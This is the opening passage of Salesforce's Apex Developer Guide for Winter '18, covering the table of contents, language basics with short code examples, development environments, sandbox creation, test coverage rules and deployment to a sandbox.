Apex Developer Guide: Version 41.0, Winter '18

Apex Developer Guide
Version 41.0, Winter ’18
@salesforcedocs
Last updated: October 19, 2017
© Copyright 2000–2017 salesforce.com, inc. All rights reserved. Salesforce is a registered trademark of salesforce.com, inc.,
as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.
CONTENTS
Chapter 1: Apex Developer Guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

Getting Started with Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Introducing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Apex Development Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Apex Quick Start . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Writing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Data Types and Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Control Flow Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Classes, Objects, and Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
Working with Data in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
Running Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207
Invoking Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 208
Apex Transactions and Governor Limits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 273
Using Salesforce Features with Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 284
Integration and Apex Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 473
Debugging, Testing, and Deploying Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 539
Debugging Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 539
Testing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 573
Deploying Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 607
Distributing Apex Using Managed Packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 613
Apex Language Reference . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 618
Apex DML Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 620
ApexPages Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 625
AppLauncher Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 656
Approval Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 663
Auth Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 678
Cache Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 758
Canvas Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 807
ChatterAnswers Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 826
ConnectApi Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 828
Database Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1799
Datacloud Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1843
DataSource Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1860
Dom Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1931
EventBus Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1944
Flow Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1946
KbManagement Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1948
Messaging Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1960
Metadata Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2005
Contents
Process Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2107

QuickAction Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2120
Reports Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2159
Schema Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2277
Search Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2338
Sfc Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2353
Site Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2357
Support Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2359
System Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2363
TerritoryMgmt Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2979
TxnSecurity Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2982
UserProvisioning Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2994
VisualEditor Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3002
wave Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3013
Appendices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3024
SOAP API and SOAP Headers for Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3025
Shipping Invoice Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3052
Reserved Keywords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3064
Action Links Labels . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3066
Documentation Typographical Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3071
Glossary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3072
INDEX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3088
CHAPTER 1 Apex Developer Guide
In this chapter ... Salesforce has changed the way organizations do business by moving enterprise applications that were
traditionally client-server-based into the Force.com platform, an on-demand, multitenant Web
• Getting Started with environment. This environment enables you to run and customize applications, such as Salesforce
Apex Automation and Service & Support, and build new custom applications based on particular business
• Writing Apex needs.
• Running Apex
• Debugging, Testing,
and Deploying Apex
• Apex Language
Reference
• Appendices
• Glossary
1
Apex Developer Guide Getting Started with Apex
Getting Started with Apex

Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Force.com platform server, in conjunction with calls to the Force.com API.
IN THIS SECTION:
Introducing Apex
Force.com Apex code is the first multitenant, on-demand programming language for developers interested in building the next
generation of business applications. Apex revolutionizes the way developers create on-demand applications.
Apex Development Process
In this chapter, you’ll learn about the Apex development lifecycle, and which organization and tools to use to develop Apex. You’ll
also learn about testing and deploying Apex code.
Apex Quick Start
This step-by-step tutorial shows how to create a simple Apex class and trigger, and how to deploy these components to a production
organization.
Introducing Apex
Force.com Apex code is the first multitenant, on-demand programming language for developers interested in building the next generation
of business applications. Apex revolutionizes the way developers create on-demand applications.
While many customization options are available through the Salesforce user interface, such as the ability to define new fields, objects,
workflow, and approval processes, developers can also use the SOAP API to issue data manipulation commands such as delete(),
update() or upsert(), from client-side programs.
These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages, grant organizations more flexibility
in their customizations. However, because the controlling logic for these client-side programs is not located on Force.com platform
servers, they are restricted by the performance costs of making multiple round-trips to the Salesforce site to accomplish common business
transactions, and by the cost and complexity of hosting server code, such as Java or .NET, in a secure and robust environment.
IN THIS SECTION:
1. What is Apex?
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and
acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks,
related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.
2. Understanding Apex Core Concepts
Apex code typically contains many things that you might be familiar with from other programming languages.
3. When Should I Use Apex?
The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the
prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported
by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators
and developers to implement custom functionality.
4. How Does Apex Work?
All Apex runs entirely on demand on the Force.com platform. Developers write and save Apex code to the platform, and end users
trigger the execution of the Apex code via the user interface.
2
Apex Developer Guide Introducing Apex
5. Developing Code in the Cloud

The Apex programming language is saved and runs in the cloud—the Force.com multitenant platform. Apex is tailored for data
access and data manipulation on the platform, and it enables you to add custom business logic to system events. While it provides
many benefits for automating business processes on the platform, it is not a general purpose programming language.
6. What's New?
Review the Salesforce Release Notes to learn about new and changed features.
What is Apex?
Apex is a strongly typed, object-oriented programming language that allows developers to execute
EDITIONS
flow and transaction control statements on the Force.com platform server in conjunction with calls
to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Available in: Salesforce
Apex enables developers to add business logic to most system events, including button clicks, Classic and Lightning
related record updates, and Visualforce pages. Apex code can be initiated by Web service requests Experience
and from triggers on objects.
Available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions
3
You can add Apex to most system events.
As a language, Apex is:

Integrated
Apex provides built-in support for common Force.com platform idioms, including:
• Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in DmlException
handling
• Inline Salesforce Object Query Language (SOQL) and Salesforce Object Search Language (SOSL) queries that return lists of sObject
records
• Looping that allows for bulk processing of multiple records at a time
• Locking syntax that prevents record update conflicts
• Custom public Force.com API calls that can be built from stored Apex methods
• Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex
Easy to use
Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax,
object and array notation. Where Apex introduces new elements, it uses syntax and semantics that are easy to understand and
encourage efficient use of the Force.com platform. Therefore, Apex produces code that is both succinct and easy to write.
Data focused
Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com platform server.
Developers use database stored procedures to thread together multiple transaction statements on a database server in a similar
4
way. Like other database stored procedures, Apex does not attempt to provide general support for rendering elements in the user
interface.
Rigorous
Apex is a strongly typed language that uses direct references to schema objects such as object and field names. It fails quickly at
compile time if any references are invalid. It stores all custom field, object, and class dependencies in metadata to ensure that they
are not deleted while required by active Apex code.
Hosted
Apex is interpreted, executed, and controlled entirely by the Force.com platform.
Multitenant aware
Like the rest of the Force.com platform, Apex runs in a multitenant environment. So, the Apex runtime engine is designed to guard
closely against runaway code, preventing it from monopolizing shared resources. Any code that violates limits fails with
easy-to-understand error messages.
Easy to test
Apex provides built-in support for unit test creation and execution. It includes test results that indicate how much code is covered,
and which parts of your code could be more efficient. Salesforce ensures that all custom Apex code works as expected by executing
all unit tests prior to any platform upgrades.
Versioned
You can save your Apex code against different versions of the Force.com API. This enables you to maintain behavior.
Apex is included in Performance Edition, Unlimited Edition, Developer Edition, Enterprise Edition, and Database.com.
Understanding Apex Core Concepts

Apex code typically contains many things that you might be familiar with from other programming languages.
Programming elements in Apex
The section describes the basic functionality of Apex, as well as some of the core concepts.
5
Using Version Settings

In the Salesforce user interface you can specify a version of the Salesforce API against which to save your Apex class or trigger. This setting
indicates not only the version of SOAP API to use, but which version of Apex as well. You can change the version after saving. Every class
or trigger name must be unique. You cannot save the same class or trigger against different versions.
You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed in your
organization from AppExchange. This version of the managed package will continue to be used by the class or trigger if later versions
of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the
settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that
is not already associated with the class or trigger.
For more information about using version settings with managed packages, see “About Package Versions” in the Salesforce online help.
Naming Variables, Methods and Classes

You cannot use any of the Apex reserved keywords when naming variables, methods or classes. These include words that are part of
Apex and the Force.com platform, such as list, test, or account, as well as reserved keywords.
Using Variables and Expressions

Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types include
basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects and sObjects.
Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also assign values
later. Use the following syntax when declaring variables:
datatype variable_name [ = value];
Tip: Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon.
The following are examples of variable declarations:

// The following variable has the data type of Integer with the name Count,
// and has the value of 0.
Integer Count = 0;
// The following variable has the data type of Decimal with the name Total. Note
// that no value has been assigned to it.
Decimal Total;
// The following variable is an account, which is also referred to as an sObject.
Account MyAcct = new Account();
In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
6
Non-primitive data type arguments, such as sObjects, are passed into methods by reference. This means that when the method returns,
the passed-in argument still references the same object as before the method call and can't be changed to point to another object.
However, the values of the object's fields can be changed in the method.
Using Statements
A statement is any coded instruction that performs an action.
In Apex, statements must end with a semicolon and can be one of the following types:
• Assignment, such as assigning a value to a variable
• Conditional (if-else)
• Loops:
– Do-while
– While
– For
• Locking
• Data Manipulation Language (DML)
• Transaction Control
• Method Invoking
• Exception Handling
A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement
would be allowed. For example:
if (true) {
System.debug(1);
System.debug(2);
} else {
System.debug(3);
System.debug(4);
}
In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true)
System.debug(1);
else
System.debug(2);
Using Collections
Apex has the following types of collections:
• Lists (arrays)
• Maps
• Sets
A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is
important. You can have duplicate elements in a list.
7
The first index position in a list is always 0.

To create a list:
• Use the new keyword
• Use the List keyword followed by the element type contained within <> characters.
Use the following syntax for creating a list:
List <datatype> list_name

[= new List<datatype>();] |
[=new List<datatype>{value [, value2. . .]};] |
;
The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly typed,
you must declare the data type of My_List as a list of Integer.
List<Integer> My_List = new List<Integer>();
For more information, see Lists on page 30.

A set is a collection of unique, unordered elements. It can contain primitive data types, such as String, Integer, Date, and so on. It can
also contain more complex data types, such as sObjects.
To create a set:
• Use the Set keyword followed by the primitive data type contained within <> characters
Use the following syntax for creating a set:
Set<datatype> set_name
[= new Set<datatype>();] |
[= new Set<datatype>{value [, value2. . .] };] |
;
The following example creates a set of String. The values for the set are passed in using the curly braces {}.
Set<String> My_String = new Set<String>{'a', 'b', 'c'};
For more information, see Sets on page 32.

A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well as objects
and other collections. Use a map when finding something by key matters. You can have duplicate values in a map, but each key must
be unique.
To create a map:
• Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in <> characters.
Use the following syntax for creating a map:
Map<key_datatype, value_datatype> map_name

[=new map<key_datatype, value_datatype>();] |
[=new map<key_datatype, value_datatype>
{key1_value => value1_value
[, key2_value => value2_value. . .]};] |
;
8
The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for
the map are being passed in between the curly braces {} as the map is being created.
Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'};
For more information, see Maps on page 33.
Using Branching
An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as
follows:
if (Condition){
// Do this if the condition is true
} else {
// Do this if the condition is not true
}
For more information, see Conditional (If-Else) Statements on page 49.
Using Loops
While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing
again and again based on a condition. Apex supports the following types of loops:
• Do-while
• While
• For
A Do-while loop checks the condition after the code has executed.
A While loop checks the condition at the start, before the code executes.
A For loop enables you to more finely control the condition used with the loop. In addition, Apex supports traditional For loops where
you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition.
For more information, see Loops on page 50.
When Should I Use Apex?

The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the
prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported
by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators and
developers to implement custom functionality.
Apex
Use Apex if you want to:
• Create Web services.
• Create email services.
• Perform complex validation over multiple objects.
• Create complex business processes that are not supported by workflow.
• Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object).
9
• Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless
of whether it originates in the user interface, a Visualforce page, or from SOAP API.
Lightning Components
Lightning components use a tag-based markup language that enables you to build components to customize Lightning Experience,
Salesforce1, or build your own standalone apps. Components use an event-driven architecture that’s powered by JavaScript on the client
side and Apex on the server side. You can also use out-of-the-box components to speed up development.
For more information, see the Lightning Components Developer's Guide.
Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing
the Salesforce user interface. With Visualforce you can:
• Build wizards and other multistep processes.
• Create your own custom flow control through an application.
• Define navigation patterns and data-specific rules for optimal, efficient application interaction.
For more information, see the Visualforce Developer's Guide.
SOAP API
Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of record at a time
and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the SOAP API Developer's Guide.
How Does Apex Work?

All Apex runs entirely on demand on the Force.com platform. Developers write and save Apex code to the platform, and end users trigger
the execution of the Apex code via the user interface.
Apex is compiled, stored, and run entirely on the Force.com platform
When a developer writes and saves Apex code to the platform, the platform application server first compiles the code into an abstract
set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata.
When an end user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application
server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the
result. The end user observes no differences in execution time from standard platform requests.
10
Developing Code in the Cloud

The Apex programming language is saved and runs in the cloud—the Force.com multitenant platform. Apex is tailored for data access
and data manipulation on the platform, and it enables you to add custom business logic to system events. While it provides many
benefits for automating business processes on the platform, it is not a general purpose programming language.
Apex cannot be used to:
• Render elements in the user interface other than error messages
• Change standard functionality—Apex can only prevent the functionality from happening, or add additional functionality
• Create temporary files
• Spawn threads
Tip: All Apex code runs on the Force.com platform, which is a shared resource used by all other organizations. To guarantee
consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution
impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations (such as DML or SOQL)
that it can perform within one process.
All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only works on a
single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you don’t,
you may run into the governor limits.
SEE ALSO:
Trigger and Bulk Request Best Practices
What's New?
Review the Salesforce Release Notes to learn about new and changed features.
Current Release
Learn about our newest features. You can also visit the Winter ’18 community page.
Our release notes include details about new features, implementation tips, and best practices.
• Winter ’18 Release Notes
• Salesforce for Outlook Release Notes
• Force.com Connect for Office Release Notes
• Force.com Connect Offline Release Notes
Past Releases
Our archive of release notes includes details about features we introduced in previous releases.
• Summer ’17 Release Notes
• Spring ’17 Release Notes
11

• Force.com Mobile 7.0 for BlackBerry Release Notes
• Force.com Mobile 6.1 for Windows Mobile 5 Release Notes
• Force.com Mobile 6.0 Release Notes
12
Apex Developer Guide Apex Development Process
Apex Development Process

In this chapter, you’ll learn about the Apex development lifecycle, and which organization and tools to use to develop Apex. You’ll also
learn about testing and deploying Apex code.
IN THIS SECTION:
What is the Apex Development Process?
To develop Apex, get a Developer Edition account, write and test your code, then deploy your code.
Create a Developer or Sandbox Org
You can run Apex in a production org, a developer org, or a sandbox org. You can develop Apex in a developer org or a sandbox
org, but not in a production org.
Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex
Writing Apex Using Development Environments
There are several development environments for developing Apex code. The Force.com Developer Console and the Force.com IDE
allow you to write, test, and debug your Apex code. The code editor in the user interface enables only writing code and doesn’t
support debugging.
Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly
recommend that you use a test-driven development process, that is, test development that occurs at the same time as code
development.
Deploying Apex to a Sandbox Organization
Sandboxes create copies of your Salesforce org in separate environments. Use them for development, testing, and training without
compromising the data and applications in your production org. Sandboxes are isolated from your production org, so operations
that you perform in your sandboxes don’t affect your production org.
Deploying Apex to a Salesforce Production Organization
After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex
to your Salesforce production organization.
Adding Apex Code to a Force.com AppExchange App
You can include an Apex class or trigger in an app that you are creating for AppExchange.
What is the Apex Development Process?

To develop Apex, get a Developer Edition account, write and test your code, then deploy your code.
We recommend the following process for developing Apex:
1. Obtain a Developer Edition account.
2. Learn more about Apex.
3. Write your Apex.
4. While writing Apex, you should also be writing tests.
5. Optionally deploy your Apex to a sandbox organization and do final unit tests.
6. Deploy your Apex to your Salesforce production organization.
13
In addition to deploying your Apex, once it is written and tested, you can also add your classes and triggers to a Force.com AppExchange
App package.
Create a Developer or Sandbox Org

You can run Apex in a production org, a developer org, or a sandbox org. You can develop Apex in a developer org or a sandbox org,
but not in a production org.
• Production org—An org that has live users accessing your data
• Developer org—An org created with a Developer Edition account
• Sandbox org—An org created on your production org that is a copy of your production org
Note: Apex triggers are available in the Trial Edition of Salesforce. However, they are disabled when you convert to any other
edition. If your newly signed-up org includes Apex, deploy your code to your org using one of the deployment methods.
You can't develop Apex in your Salesforce production org. Live users accessing the system while you're developing can destabilize your
data or corrupt your application. Instead, do all your development work in either a sandbox or a Developer Edition org.
If you aren't already a member of the developer community, go to http://developer.salesforce.com/signup and
follow the instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer
Edition org. Even if you already have a Professional, Enterprise, Unlimited, or Performance Edition org and a sandbox for creating Apex,
we strongly recommend that you take advantage of the resources available in the developer community.
Note: You can’t modify Apex using the Salesforce user interface in a Salesforce production org.
To create a sandbox org:

1. From Setup, enter Sandboxes in the Quick Find box, then select Sandboxes.
2. Click New Sandbox.
3. Enter a name (10 characters or fewer) and description for the sandbox.
We recommend that you choose a name that:
• Reflects the purpose of this sandbox, such as QA.
• Has only a few characters, because Salesforce appends the sandbox name to usernames on user records in the sandbox
environment. Names with fewer characters make sandbox logins easier to type.
4. Select the type of sandbox you want.

If you don’t see a sandbox option or need licenses for more, contact Salesforce to order sandboxes for your org.
If you reduce the number of sandboxes you purchase, you are required to match the number of your sandboxes to the number you
purchased. For example, if you have two Full sandboxes but purchased only one, you can’t create a Full sandbox. Instead, convert
a Full sandbox to a smaller one, such as a Developer Pro or Developer sandbox, depending on which types you have available.
5. Select the data to include in your Partial Copy or Full sandbox.

• For a Partial Copy sandbox, click Next, and then select the template you created to specify the data for your sandbox. If you have
not created a template for this Partial Copy sandbox, see Create or Edit Sandbox Templates.
• For a Full sandbox click Next, and then decide how much data to include.
– To include template-based data for a Full sandbox, select an existing sandbox template. For more information, see Create
or Edit Sandbox Templates
– To include all data in a Full sandbox, choose whether and how much field tracking history data to include, and whether to
copy Chatter data. You can copy from 0 to 180 days of history, in 30-day increments. The default is 0 days. Chatter data
14
includes feeds, messages, and discovery topics. Decreasing the amount of data you copy can significantly speed sandbox
copy time.
6. To run scripts after each create and refresh for this sandbox, specify the Apex class you previously created from the SandboxPostCopy
interface.
7. Click Create.
Tip: Try to limit changes in your production org while the sandbox copy proceeds.
Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex
Apex Trailhead Content
Beginning and intermediate programmers
Several Trailhead modules provide tutorials on learning Apex. Using these modules you’ll learn the fundamentals of Apex and how
you can use it on the Force.com platform to add custom business logic through triggers, unit tests, asynchronous Apex, REST Web
services, and Visualforce controllers.
Quick Start: Apex
Apex Basics & Database
Apex Triggers
Apex Integration Services
Apex Testing
Asynchronous Apex
Salesforce Developers Apex Page
Beginning and advanced programmers
The Apex page on Salesforce Developers has links to several resources including articles about the Apex programming language.
These resources provide a quick introduction to Apex and include best practices for Apex development.
Force.com Cookbook
Beginning and advanced programmers
This collaborative site provides many recipes for using the Web services API, developing Apex code, and creating Visualforce pages.
The Force.com Cookbook helps developers become familiar with common Force.com programming techniques and best practices.
You can read and comment on existing recipes, or submit your own recipes, at http://developer.force.com/cookbook.
Development Life Cycle: Enterprise Development on the Force.com Platform
Architects and advanced programmers
Whether you are an architect, administrator, developer, or manager, the Development Lifecycle Guide prepares you to undertake the
development and release of complex applications on the Force.com platform.
Training Courses
Training classes are also available from Salesforce Training & Certification. You can find a complete list of courses at the Training &
Certification site.
In This Book (Apex Developer's Guide)
Beginning programmers should look at the following:
• Introducing Apex, and in particular:
15
– Documentation Conventions
– Core Concepts
– Quick Start Tutorial
• Classes, Objects, and Interfaces

• Testing Apex
• Execution Governors and Limits
In addition to the above, advanced programmers should look at:
• Trigger and Bulk Request Best Practices
• Advanced Apex Programming Example
• Understanding Apex Describe Information
• Asynchronous Execution (@future Annotation)
• Batch Apex and Apex Scheduler
Writing Apex Using Development Environments

There are several development environments for developing Apex code. The Force.com Developer Console and the Force.com IDE allow
you to write, test, and debug your Apex code. The code editor in the user interface enables only writing code and doesn’t support
debugging.
Force.com Developer Console

The Developer Console is an integrated development environment with a collection of tools you can use to create, debug, and test
applications in your Salesforce organization.
The Developer Console supports these tasks:
• Writing code—You can add code using the source code editor. Also, you can browse packages in your organization.
• Compiling code—When you save a trigger or class, the code is automatically compiled. Any compilation errors will be reported.
• Debugging—You can view debug logs and set checkpoints that aid in debugging.
• Testing—You can execute tests of specific test classes or all tests in your organization, and you can view test results. Also, you can
inspect code coverage.
• Checking performance—You can inspect debug logs to locate performance bottlenecks.
• SOQL queries—You can query data in your organization and view the results using the Query Editor.
• Color coding and autocomplete—The source code editor uses a color scheme for easier readability of code elements and provides
autocompletion for class and method names.
Force.com IDE
The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com
applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development,
including source code editors, test execution tools, wizards and integrated help. This tool includes basic color-coding, outline view,
integrated unit testing, and auto-compilation on save with error message display. See the website for information about installation and
usage.
Note: The Force.com IDE is a free resource provided by Salesforce to support its users and partners but isn't considered part of
our services for purposes of the Salesforce Master Subscription Agreement.
16
Tip: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the SOAP API includes methods for compiling
triggers and classes, and executing test methods, while the Metadata API includes methods for deploying code to production
environments. For more information, see Deploying Apex on page 607 and SOAP API and SOAP Headers for Apex on page 3025.
Code Editor in the Salesforce User Interface

The Salesforce user interface. All classes and triggers are compiled when they are saved, and any syntax errors are flagged. You cannot
save your code until it compiles without errors. The Salesforce user interface also numbers the lines in the code, and uses color coding
to distinguish different elements, such as comments, keywords, literal strings, and so on.
• For a trigger on an object, from the object’s management settings, go to Triggers, click New, and then enter your code in the Body
text box.
• For a class, from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes. Click New, and then enter
your code in the Body text box.
Note: You can’t modify Apex using the Salesforce user interface in a Salesforce production org.
Alternatively, you can use any text editor, such as Notepad, to write Apex code. Then either copy and paste the code into your application,
or use one of the API calls to deploy it.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend
that you use a test-driven development process, that is, test development that occurs at the same time as code development.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, send no emails, and are flagged with the testMethod keyword or the @isTest annotation in the method definition.
Also, test methods must be defined in test classes, that is, classes annotated with @isTest.
Note: The testMethod keyword is now deprecated. Use the @isTest annotation on classes and methods instead.
In addition, before you deploy Apex or package it for the Force.com AppExchange, the following must be true.
• At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
– When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
– Calls to System.debug are not counted as part of Apex code coverage.
– Test methods and test classes are not counted as part of Apex code coverage.
– While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered.
Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well
as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
• Every trigger must have some test coverage.

• All classes and triggers must compile successfully.
For more information on writing tests, see Testing Apex on page 573.
17
Apex Developer Guide Apex Quick Start
Deploying Apex to a Sandbox Organization

Sandboxes create copies of your Salesforce org in separate environments. Use them for development, testing, and training without
compromising the data and applications in your production org. Sandboxes are isolated from your production org, so operations that
you perform in your sandboxes don’t affect your production org.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment
Wizard. For more information about the Force.com IDE, see https://developer.salesforce.com/page/Force.com_IDE.
You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization.
